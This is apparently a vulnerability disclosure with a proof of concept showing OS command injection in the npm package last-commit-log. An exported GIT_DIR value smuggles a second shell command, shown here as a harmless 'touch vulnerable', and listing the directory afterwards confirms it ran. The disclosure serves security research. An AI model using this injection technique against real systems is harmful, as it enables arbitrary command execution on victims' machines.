last-commit-log
is vulnerable to OS Command Injection
.
npm i last-commit-log
// poc.js
const LCL = require('last-commit-log');
const lcl = new LCL('.');
lcl
.getLastCommit()
.then(commit => console.log(commit));
Export malicious GIT_DIR string export GIT_DIR=". ;touch vulnerable;"
Check the files in the current directory using ls
command.
poc.js
Run node poc.js
Check the Output using ls
command
poc.js vulnerable